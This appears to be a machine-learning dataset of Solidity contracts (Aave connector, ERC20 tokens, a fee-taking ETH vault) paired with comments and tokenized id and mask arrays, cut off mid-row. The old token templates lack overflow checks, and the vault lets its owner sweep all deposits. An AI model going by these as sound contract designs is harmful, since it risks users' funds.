AaveInterface aave = AaveInterface(aaveProvider.getLendingPool());
bool isEth = token == ethAddr;
address _token = isEth ? wethAddr : token;
TokenInterface tokenContract = TokenInterface(_token);
uint initialBal = tokenContract.balanceOf(address(this));
aave.withdraw(_token, _amt, address(this));
uint finalBal = tokenContract.balanceOf(address(this));
_amt = sub(finalBal, initialBal);
convertWethToEth(isEth, tokenContract, _amt);
setUint(setId, _amt);
_eventName = "LogWithdraw(address,uint256,uint256,uint256)";
_eventParam = abi.encode(token, _amt, getId, setId);
}
/**
* @dev Borrow ETH/ERC20_Token.
* @notice Borrow a token using Aave v2
* @param token The address of the token to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param amt The amount of the token to borrow.
* @param rateMode The type of borrow debt. (For Stable: 1, Variable: 2)
* @param getId ID to retrieve amt.
* @param setId ID stores the amount of tokens borrowed.
*/
function borrow(
address token,
uint256 amt,
uint256 rateMode,
uint256 getId,
uint256 setId
) external payable returns (string memory _eventName, bytes memory _eventParam) {
uint _amt = getUint(getId, amt);
AaveInterface aave = AaveInterface(aaveProvider.getLendingPool());
bool isEth = token == ethAddr;
address _token = isEth ? wethAddr : token;
aave.borrow(_token, _amt, rateMode, referralCode, address(this));
convertWethToEth(isEth, TokenInterface(_token), _amt);
setUint(setId, _amt);
_eventName = "LogBorrow(address,uint256,uint256,uint256,uint256)";
_eventParam = abi.encode(token, _amt, rateMode, getId, setId);
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @notice Payback debt owed.
* @param token The address of the token to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param amt The amount of the token to payback. (For max: `uint256(-1)`)
* @param rateMode The type of debt paying back. (For Stable: 1, Variable: 2)
* @param getId ID to retrieve amt.
* @param setId ID stores the amount of tokens paid back.
*/
function payback(
address token,
uint256 amt,
uint256 rateMode,
uint256 getId,
uint256 setId
) external payable returns (string memory _eventName, bytes memory _eventParam) {
uint _amt = getUint(getId, amt);
AaveInterface aave = AaveInterface(aaveProvider.getLendingPool());
bool isEth = token == ethAddr;
address _token = isEth ? wethAddr : token;
TokenInterface tokenContract = TokenInterface(_token);
_amt = _amt == uint(-1) ? getPaybackBalance(_token, rateMode) : _amt;
if (isEth) convertEthToWeth(isEth, tokenContract, _amt);
tokenContract.approve(address(aave), _amt);
aave.repay(_token, _amt, rateMode, address(this));
setUint(setId, _amt);
_eventName = "LogPayback(address,uint256,uint256,uint256,uint256)";
_eventParam = abi.encode(token, _amt, rateMode, getId, setId);
}
/**
* @dev Enable collateral
* @notice Enable an array of tokens as collateral
* @param tokens Array of tokens to enable collateral
*/
function enableCollateral(
address[] calldata tokens
) external payable returns (string memory _eventName, bytes memory _eventParam) {
uint _length = tokens.length;
require(_length > 0, "0-tokens-not-allowed");
AaveInterface aave = AaveInterface(aaveProvider.getLendingPool());
for (uint i = 0; i < _length; i++) {
address token = tokens[i];
if (getCollateralBalance(token) > 0 && !getIsColl(token)) {
aave.setUserUseReserveAsCollateral(token, true);
}
}
_eventName = "LogEnableCollateral(address[])";
_eventParam = abi.encode(tokens);
}
/**
* @dev Swap borrow rate mode
* @notice Swaps user borrow rate mode between variable and stable
* @param token The address of the token to swap borrow rate.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param rateMode Desired borrow rate mode. (Stable = 1, Variable = 2)
*/
function swapBorrowRateMode(
address token,
uint rateMode
) external payable returns (string memory _eventName, bytes memory _eventParam) {
AaveInterface aave = AaveInterface(aaveProvider.getLendingPool());
uint currentRateMode = rateMode == 1 ? 2 : 1;
if (getPaybackBalance(token, currentRateMode) > 0) {
aave.swapBorrowRateMode(token, rateMode);
}
_eventName = "LogSwapRateMode(address,uint256)";
_eventParam = abi.encode(token, rateMode);
}
}
contract ConnectV2AaveV2 is AaveResolver {
string constant public name = "AaveV2-v1";
}
| * @dev Deposit ETH/ERC20_Token. @notice Deposit a token to Aave v2 for lending / collaterization. @param token The address of the token to deposit.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) @param amt The amount of the token to deposit. (For max: `uint256(-1)`) @param getId ID to retrieve amt. @param setId ID stores the amount of tokens deposited./ | ) external payable returns (string memory _eventName, bytes memory _eventParam) {
uint _amt = getUint(getId, amt);
AaveInterface aave = AaveInterface(aaveProvider.getLendingPool());
bool isEth = token == ethAddr;
address _token = isEth ? wethAddr : token;
TokenInterface tokenContract = TokenInterface(_token);
if (isEth) {
_amt = _amt == uint(-1) ? address(this).balance : _amt;
convertEthToWeth(isEth, tokenContract, _amt);
_amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt;
}
tokenContract.approve(address(aave), _amt);
aave.deposit(_token, _amt, address(this), referralCode);
if (!getIsColl(_token)) {
aave.setUserUseReserveAsCollateral(_token, true);
}
setUint(setId, _amt);
_eventName = "LogDeposit(address,uint256,uint256,uint256)";
_eventParam = abi.encode(token, _amt, getId, setId);
}
| 13,139,414 | [
1,
758,
1724,
512,
2455,
19,
654,
39,
3462,
67,
1345,
18,
225,
4019,
538,
305,
279,
1147,
358,
432,
836,
331,
22,
364,
328,
2846,
342,
4508,
2045,
1588,
18,
225,
1147,
1021,
1758,
434,
326,
1147,
358,
443,
1724,
18,
12,
1290,
512,
2455,
30,
374,
17432,
1340,
1340,
41,
1340,
73,
41,
73,
41,
1340,
41,
73,
41,
73,
41,
1340,
9383,
41,
1340,
1340,
41,
1340,
1340,
1340,
73,
9383,
73,
41,
13,
225,
25123,
1021,
3844,
434,
326,
1147,
358,
443,
1724,
18,
261,
1290,
943,
30,
1375,
11890,
5034,
19236,
21,
22025,
13,
225,
2634,
1599,
358,
4614,
25123,
18,
225,
10446,
1599,
9064,
326,
3844,
434,
2430,
443,
1724,
329,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
262,
3903,
8843,
429,
1135,
261,
1080,
3778,
389,
2575,
461,
16,
1731,
3778,
389,
2575,
786,
13,
288,
203,
3639,
2254,
389,
301,
88,
273,
336,
5487,
12,
26321,
16,
25123,
1769,
203,
203,
3639,
432,
836,
1358,
279,
836,
273,
432,
836,
1358,
12,
69,
836,
2249,
18,
588,
48,
2846,
2864,
10663,
203,
203,
3639,
1426,
353,
41,
451,
273,
1147,
422,
13750,
3178,
31,
203,
3639,
1758,
389,
2316,
273,
353,
41,
451,
692,
341,
546,
3178,
294,
1147,
31,
203,
203,
3639,
29938,
1147,
8924,
273,
29938,
24899,
2316,
1769,
203,
203,
3639,
309,
261,
291,
41,
451,
13,
288,
203,
5411,
389,
301,
88,
273,
389,
301,
88,
422,
2254,
19236,
21,
13,
692,
1758,
12,
2211,
2934,
12296,
294,
389,
301,
88,
31,
203,
5411,
1765,
41,
451,
774,
59,
546,
12,
291,
41,
451,
16,
1147,
8924,
16,
389,
301,
88,
1769,
203,
5411,
389,
301,
88,
273,
389,
301,
88,
422,
2254,
19236,
21,
13,
692,
1147,
8924,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
294,
389,
301,
88,
31,
203,
3639,
289,
203,
203,
3639,
1147,
8924,
18,
12908,
537,
12,
2867,
12,
69,
836,
3631,
389,
301,
88,
1769,
203,
203,
3639,
279,
836,
18,
323,
1724,
24899,
2316,
16,
389,
301,
88,
16,
1758,
12,
2211,
3631,
1278,
370,
23093,
1769,
203,
203,
3639,
309,
16051,
588,
2520,
13535,
24899,
2316,
3719,
288,
203,
5411,
279,
836,
18,
542,
1299,
3727,
607,
6527,
1463,
13535,
2045,
287,
24899,
2316,
16,
2
] |
pragma solidity ^0.4.16;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract TAKCoin is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function TAKCoin(
) {
balances[msg.sender] = 1000000000 * 1000000000000000000; // Give the creator all initial tokens, 18 zero is 18 Decimals
totalSupply = 1000000000 * 1000000000000000000; // Update total supply, , 18 zero is 18 Decimals
name = "TAKSINOMIC"; // Token Name
decimals = 18; // Amount of decimals for display purposes
symbol = "TAK"; // Token Symbol
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | Update total supply, , 18 zero is 18 Decimals
| totalSupply = 1000000000 * 1000000000000000000; | 9,891,950 | [
1,
1891,
2078,
14467,
16,
269,
6549,
3634,
353,
6549,
3416,
11366,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2078,
3088,
1283,
273,
15088,
3784,
380,
2130,
12648,
12648,
31,
2398,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
contract CronToken {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address public admin;
event Transfer(address from, address to, uint256 value);
event Approval(address from, address recipient, uint256 amount);
constructor(address _admin) {
_name = "Cron";
_symbol = "CRON";
_decimals = 16;
admin = _admin;
mint(100000000 * 10**decimals());
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/// Transfer value from sender to recipient
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/// Returns the amount of value a spender is allowed to spend on behalf of the owner
function allowance(address _owner, address spender) public view returns (uint256) {
return _allowances[_owner][spender];
}
// Set amount that a spender is allowed to spend on behalf of the sender
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/// Allows spender transfer from owner using allowance
function transferFrom(
address sender,
address recipient,
uint256 amount
) public returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "Amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
_approve(msg.sender, spender, currentAllowance + addedValue);
return true;
}
// Create new token
function mint(uint256 _amount) public onlyAdmin returns (bool) {
_mint(msg.sender, _amount);
return true;
}
// destroy tokens
function burn(uint256 _amount) public onlyAdmin returns (bool) {
_burn(msg.sender, _amount);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "Decreased allowance below zero");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
/// Set amount a spender can spend on behalf of the owner
function _approve(
address _owner,
address spender,
uint256 amount
) internal {
require(_owner != address(0), "Approve from zero address");
require(spender != address(0), "Approve to zero address");
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "Transfering from zero address");
require(recipient != address(0), "Transfering to zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Insuffiencet balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/// create new tokens and emit event from the zero address
function _mint(address account, uint256 amount) internal {
require(account != address(0), "Mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/// Destroy tokens - Send amount
function _burn(address account, uint256 amount) internal {
require(account != address(0), "Burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "Burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
modifier onlyAdmin() {
require(msg.sender == admin, "Only owner can perform this operation");
_;
}
}
/*
## Overview
Accept ETH from users, deduct 0.25% from the value sent
store the new amount in the smart contract (vault).
Emits a NewKeeper event for every new storage to the vault
When the lock time elapses, the stored value is sent to the intended recipient
The withdraw function is called by the dapp and this is trigger by outside schecdular
A `Transfer` event is also emited after every withdrawal
The smart contract is uses an owner priviliage to prevent anyone from sending ETH out.
Only the smart contract creator has priviliage to send ETH out.
*/
contract VaultContract {
// locks sending ether out of contract(vault) to this owner addreess
address public owner;
uint256 internal feePercentage;
// address to pay fee to
address payable internal feeAddress;
constructor(address _feeAddress) {
owner = msg.sender;
// 0.25% of value stored in the contract
feePercentage = 25;
feeAddress = payable(_feeAddress);
}
// lockedBalances of sender
mapping(address => uint256) internal _lockedBalances;
struct Keeper {
address sender;
uint256 value;
address recipient;
uint256 dateLocked;
uint256 lockUntill;
}
event NewKeeper(
address indexed sender,
uint256 value,
address indexed recipient,
uint256 dateLocked, // block.timestamp
uint256 indexed lockUntill, // timestamp (millisecond)
bytes32 hash
);
event Transfer(address from, address to, uint256 value);
mapping(bytes32 => Keeper) internal keepers;
// recieves ether from recipient
function vault(address _recipient, uint256 _lockTime) external payable {
uint256 fee = calculateFee(msg.value);
uint256 value = deductFeeFromValue(msg.value);
_lockedBalances[msg.sender] += value;
bytes32 hash = makeHash(msg.sender, _recipient, _lockTime);
// register keeper
keepers[hash] = (Keeper(msg.sender, value, _recipient, block.timestamp, _lockTime));
feeAddress.transfer(fee);
emit NewKeeper(msg.sender, value, _recipient, block.timestamp, _lockTime, hash);
}
function calculateFee(uint256 _valueSent) public view largerThen10000wie(_valueSent) returns (uint256) {
uint256 fee = (_valueSent * feePercentage) / 10000;
return fee;
}
function deductFeeFromValue(uint256 _valueSent) public view largerThen10000wie(_valueSent) returns (uint256) {
uint256 _value = _valueSent - calculateFee(_valueSent);
return _value;
}
function makeHash(
address _sender,
address _recipient,
uint256 _lockTime
) internal pure returns (bytes32) {
bytes32 hash = keccak256(abi.encode(_sender, _recipient, _lockTime));
return hash;
}
/// Returns sender balance
function balanceOf() external view returns (uint256) {
return _lockedBalances[msg.sender];
}
/// Returns balance in the vault after fee has been deducted
function balanceOfvault() external view returns (uint256) {
return address(this).balance;
}
/// Returns the balnce of the address fees are been paid to
/// restricted to onlyOwner
function balanceOfFeeAddress() external view onlyOwner returns (uint256) {
return address(feeAddress).balance;
}
/// Returns the record of a keeper
function getKeeper(bytes32 _hash) external view returns (Keeper memory) {
return keepers[_hash];
}
/// withdraw from the vault. Restricted to onlyOwner
function withdraw(bytes32 _hash) external onlyOwner returns (bool) {
_withdrawFromvault(_hash);
return true;
}
// transfer ether from this smart contract to recipient
function _withdrawFromvault(bytes32 _hash) internal returns (bool) {
address to = keepers[_hash].recipient;
address payable recipient = payable(to);
address from = keepers[_hash].sender;
uint256 value = keepers[_hash].value;
// delete the record from valut - prevent double withdrawal(spending)
delete keepers[_hash];
/// @Review: should the record be deleted or should a field be updated that it has been withdrawn??
// transfer the value to the recipient
recipient.transfer(value);
emit Transfer(from, to, value);
return true;
}
// @REVIEW: use to transfer all stored value from vault to a new smart contract
// To called when upgrading the smart contract
function clearVault(address recipient) external onlyOwner returns (bool) {
// @TODO: - review
uint256 value = address(this).balance;
payable(recipient).transfer(value);
emit Transfer(msg.sender, recipient, value);
return true;
}
modifier largerThen10000wie(uint256 _value) {
require((_value / 10000) * 10000 == _value, "Amount is too low.");
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can withdraw");
_;
}
}
| Destroy tokens - Send amount | function _burn(address account, uint256 amount) internal {
require(account != address(0), "Burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "Burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
| 1,802,409 | [
1,
10740,
2430,
300,
2479,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
70,
321,
12,
2867,
2236,
16,
2254,
5034,
3844,
13,
2713,
288,
203,
3639,
2583,
12,
4631,
480,
1758,
12,
20,
3631,
315,
38,
321,
628,
326,
3634,
1758,
8863,
203,
203,
3639,
2254,
5034,
2236,
13937,
273,
389,
70,
26488,
63,
4631,
15533,
203,
3639,
2583,
12,
4631,
13937,
1545,
3844,
16,
315,
38,
321,
3844,
14399,
11013,
8863,
203,
3639,
389,
70,
26488,
63,
4631,
65,
273,
2236,
13937,
300,
3844,
31,
203,
3639,
389,
4963,
3088,
1283,
3947,
3844,
31,
203,
203,
3639,
3626,
12279,
12,
4631,
16,
1758,
12,
20,
3631,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract HedgeCash is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE
*/
string public name; // Token
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: ..
string public version = 'H1.0';
uint256 public HedgeCash ; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function HedgeCash() {
balances[msg.sender] = 1000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 1000000000; // Update total supply (1000 for example)
name = "HedgeCash"; // Set the name for display purposes
decimals = 0; // Amount of decimals for display purposes
